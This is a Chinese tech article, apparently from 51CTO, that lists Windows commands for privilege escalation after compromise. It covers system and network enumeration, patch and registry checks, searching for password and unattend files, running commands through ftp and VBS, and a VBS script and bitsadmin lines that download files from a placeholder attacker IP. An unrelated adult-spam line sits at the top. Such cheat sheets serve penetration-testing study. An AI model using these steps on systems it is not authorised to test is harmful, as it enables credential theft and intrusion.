自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

Windows內(nèi)網(wǎng)滲透提權(quán)的幾個實用命令

系統(tǒng) Windows 系統(tǒng)運維
這不是一篇滲透測試指導,而是簡單介紹了幾個Windows內(nèi)網(wǎng)提權(quán)的實用命令,以供我等菜鳥學習觀摩,還望大牛包涵指導。

[[172237]]

這不是一篇滲透測試指導,而是簡單介紹了幾個Windows內(nèi)網(wǎng)提權(quán)的實用命令,以供我等菜鳥學習觀摩,還望大牛包涵指導。

1.獲取操作系統(tǒng)信息

識別操作系統(tǒng)名稱及版本:

  1. C:\Users\thel3l> systeminfo | findstr /B /C:"OS Name" /C:"OS Version"  
  2. OS Name: Microsoft Windows 10 Pro 
  3. OS Version: 10.0.14393 N/A Build 14393 

當然中文系統(tǒng)你得這樣:

  1. systeminfo | findstr /B /C:"OS 名稱" /C:"OS 版本" 

識別系統(tǒng)體系結(jié)構(gòu):

  1. C:\Users\thel3l> echo %PROCESSOR_ARCHITECTURE%  
  2. AMD64 

查看所有環(huán)境變量:

  1. C:\Users\thel3l> SET 
  2. USERNAME=thel3l 
  3. USERPROFILE=C:\Users\thel3l 
  4. *snip* 

查看某特定用戶信息:

  1. C:\Users\thel3l>net user thel3l  
  2. User name thel3l 
  3. *snip* 
  4. The command completed successfully 

2.獲取網(wǎng)絡(luò)信息

查看路由表信息:

  1. C:\Users\thel3l> route print 

查看ARP緩存信息:

  1. C:\Users\thel3l> arp -A 

查看防火墻規(guī)則:

  1. C:\Users\thel3l> netstat -ano  
  2. C:\Users\thel3l> netsh firewall show config  
  3. C:\Users\thel3l> netsh firewall show state  

3.應用程序及服務信息

查看計劃任務:

  1. C:\Users\thel3l> schtasks /QUERY /fo LIST /v 

中文系統(tǒng)的命令,先調(diào)整GBK編碼為437美國編碼:

  1. chcp 437 

然后

  1. schtasks /QUERY /fo LIST /v 

查看服務進程ID:

  1. C:\Users\thel3l> tasklist /SVC 

查看安裝驅(qū)動:

  1. C:\Users\thel3l> DRIVERQUERY 

查看安裝程序和版本信息(漏洞利用線索):

  1. C:\Users\thel3l> wmic product list brief 

查看服務、進程和啟動程序信息:

  1. C:\Users\thel3l> wmic service list brief 
  2. C:\Users\thel3l> wmic process list brief 
  3. C:\Users\thel3l> wmic startup list brief 

查看.msi程序的執(zhí)行權(quán)限:

  1. C:\Users\thel3l> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 
  2. C:\Users\thel3l> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 

查看是否設(shè)置有setuid和setgid:

  1. C:\Users\thel3l>reg query HKEY_Local_Machine\System\CurrentControlSet\Services\NfsSvr\Parameters\SafeSetUidGidBits 

查看安裝補丁和時間信息:

  1. C:\Users\thel3l> wmic qfe get Caption,Description,HotFixID,InstalledOn 

查看特定漏洞補丁信息:

  1. C:\Users\thel3l> wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KBxxxxxxx" 

4.敏感數(shù)據(jù)和目錄

查找密碼文件或其它敏感文件:

  1. C:\Users\thel3l> cd/ 
  2. C:\Users\thel3l> dir /b/s password.txt  
  3. C:\Users\thel3l> dir /b/s config.*  
  4. C:\Users\thel3l> findstr /si password *.xml *.ini *.txt 
  5. C:\Users\thel3l> findstr /si login *.xml *.ini *.txt 

無人值守安裝文件:

這些文件通常包含base64模式的密碼信息。這類文件在一些大型企業(yè)網(wǎng)絡(luò)或GHO系統(tǒng)中可以發(fā)現(xiàn),文件通常的位置如下:

  1. C:\sysprep.inf 
  2. C:\sysprep\sysprep.xml 
  3. C:\Windows\Panther\Unattend\Unattended.xml  
  4. C:\Windows\Panther\Unattended.xml 

5.文件系統(tǒng)

可以通過調(diào)用系統(tǒng)預安裝程序語言查看當前可訪問目錄或文件權(quán)限,如python下:

  1. import os; os.system("cmd /c {command here}"

使用copy con命令創(chuàng)建ftp執(zhí)行會話:

范例

  1. C:\Users\thel3l> copy con ftp.bat #創(chuàng)建一個名為ftp.bat的批處理文件  
  2. ftp # 輸入執(zhí)行會話名稱,按回車到下一行,之后按CTRL+Z結(jié)束編輯,再按回車退出  
  3. C:\Users\thel3l> ftp.bat # 執(zhí)行創(chuàng)建的文件  
  4. ftp> # 執(zhí)行ftp命令  
  5. ftp> !{command} # e.g. - !dir or !ipconfig 

使用copy con命令創(chuàng)建VBS腳本文件:

  1. C:\Users\thel3l> copy con commandExec.vbs #創(chuàng)建VBS腳本文件  
  2. Call WScript.CreateObject("Wscript.Shell").Run("cmd /K {command}", 8, True) #VBS文件內(nèi)容  
  3. C:\Users\thel3l> commandExec.vbs #執(zhí)行腳本文件 

檢查文件夾可寫狀態(tài):

  1. C:\Users\thel3l> dir /a-r-d /s /b 

6.一個有用的文件上傳腳本

  1. ' downloadfile.vbs   
  2. Set your settings  
  3. strFileURL = "http://{YOUR_IP}/{FILE_NAME.EXT}"  
  4. strHDLocation = "c:\\{FILE_NAME.EXT}"  
  5. Fetch the file  
  6. Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP" 
  7. objXMLHTTP.open "GET", strFileURL, false  
  8. objXMLHTTP.send()  
  9. If objXMLHTTP.Status = 200 Then  
  10. Set objADOStream = CreateObject("ADODB.Stream" 
  11. objADOStream.Open  
  12. objADOStream.Type = 1 'adTypeBinary  
  13. objADOStream.Write objXMLHTTP.ResponseBody  
  14. objADOStream.Position = 0 'Set the stream position to the start 
  15. Set objFSO = Createobject("Scripting.FileSystemObject" 
  16. If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation  
  17. Set objFSO = Nothing  
  18. objADOStream.SaveToFile strHDLocation  
  19. objADOStream.Close  
  20. Set objADOStream = Nothing  
  21. End if  
  22. Set objXMLHTTP = Nothing 

該腳本是一個社區(qū)發(fā)布的,你可以以下這種方式運行它:

  1. C:\Users\thel3l>cscript.exe downloadfile.vbs 

bitsadmin命令:

如果你的目標系統(tǒng)是Windows 7及以上操作系統(tǒng),你可以使用bitsadmin命令,bitsadmin是一個命令行工具,可用于創(chuàng)建下載上傳進程:

范例

  1. C:\Users\thel3l> bitsadmin /transfer job_name /download /priority priority URL local\path\file  
  2.  
  3. C:\Users\thel3l> bitsadmin /transfer mydownloadjob /download /priority normal ^ http://{YOUR_IP}/{FILE_NAME.EXT}  
  4.  
  5. C:\Users\username\Downloads\{FILE_NAME.EXT} 

如:

  1. bitsadmin /transfer n http://download.fb.com/file/xx.zip c:\pentest\xx.zip 
責任編輯:武曉燕 來源: FreeBuf
相關(guān)推薦

2020-07-22 13:50:39

shell命令前端

2016-11-11 08:51:47

2013-05-06 15:42:49

2021-01-13 08:14:36

Windows提權(quán)漏洞攻擊

2014-01-03 17:33:42

網(wǎng)絡(luò)·安全技術(shù)周刊

2016-12-12 09:11:20

2020-09-28 15:14:31

Linux常用命令實用命令

2023-05-04 12:39:27

GDB命令程序

2011-01-17 11:18:18

思科認證

2018-07-05 10:44:09

Windows提權(quán)漏洞

2013-04-12 13:21:44

2013-04-18 17:07:36

2017-04-17 19:48:51

2020-11-16 10:55:41

Windows

2023-03-24 10:07:46

tail命令

2023-03-23 21:08:59

head命令

2011-03-07 11:36:23

FileZillaSe

2023-11-06 18:02:28

Linux實用命令

2015-07-27 09:22:53

Unix文件系統(tǒng)命令

2017-04-17 18:38:03

Windows提權(quán)漏洞
點贊
收藏

51CTO技術(shù)棧公眾號